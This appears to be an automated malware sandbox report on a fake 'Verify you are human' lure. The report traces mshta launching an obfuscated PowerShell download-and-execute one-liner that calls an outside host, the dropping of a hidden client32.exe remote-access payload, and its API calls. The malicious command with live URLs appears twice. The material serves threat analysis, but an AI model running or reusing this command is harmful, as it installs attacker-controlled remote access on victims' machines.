Code function: 21_2_110076F0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

21_2_110076F0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11113880 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,

21_2_11113880

Source: Yara match	File source: 21.2.client32.exe.111b79e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.11000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7368, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_111158B0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,

21_2_111158B0

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11115750: GetModuleFileNameA,GetShortPathNameA,CreateFileA,CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,

21_2_11115750

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1115DB40 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

21_2_1115DB40

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,

21_2_1102D330

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB75C03CF	12_2_00007FFEB75C03CF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB75C0EB2	12_2_00007FFEB75C0EB2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB75C11A0	12_2_00007FFEB75C11A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB75C018E	12_2_00007FFEB75C018E
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110733B0	21_2_110733B0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11029590	21_2_11029590
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11061C90	21_2_11061C90
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11033010	21_2_11033010
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11163220	21_2_11163220
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1102B5F0	21_2_1102B5F0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11167485	21_2_11167485
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110454F0	21_2_110454F0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1101B760	21_2_1101B760
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_111258B0	21_2_111258B0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1101BBA0	21_2_1101BBA0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11087C60	21_2_11087C60
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1116DFCB	21_2_1116DFCB
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11070090	21_2_11070090
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11080480	21_2_11080480
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1115E980	21_2_1115E980
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1101C9C0	21_2_1101C9C0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110088AB	21_2_110088AB
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11050D80	21_2_11050D80

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 11146450 appears 589 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 110278E0 appears 47 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 1116F010 appears 36 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 11029450 appears 929 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 111603E3 appears 40 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 1105DD10 appears 288 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 11081BB0 appears 44 times
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: String function: 11164010 appears 32 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.rans.phis.troj.evad.win@30/39@14/9

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11059C50 GetLastError,FormatMessageA,LocalFree,

21_2_11059C50

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1109D440 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,		21_2_1109D440
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1109D4D0 AdjustTokenPrivileges,CloseHandle,		21_2_1109D4D0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11115B70 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

21_2_11115B70

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11089150 FindResourceA,LoadResource,LockResource,

21_2_11089150

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11127E10 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

21_2_11127E10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mshhzrqx.05j.ps1

Jump to behavior

Source: C:\Windows\System32\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1896,i,2740781035066481159,16273883810358689985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://inspyrehomedesign.com/Ray-verify.html"
Source: unknown	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://inspyrehomedesign.com/Ray-verify.html # ? ''Verify you are human - Ray Verification ID: 3293''
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\user\AppData\Roaming\bpsFyf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Roaming\bpsFyf
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe "C:\Users\user\AppData\Roaming\bpsFyf\client32.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1896,i,2740781035066481159,16273883810358689985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\user\AppData\Roaming\bpsFyf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe "C:\Users\user\AppData\Roaming\bpsFyf\client32.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Roaming\bpsFyf	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: netutils.dll	Jump to behavior
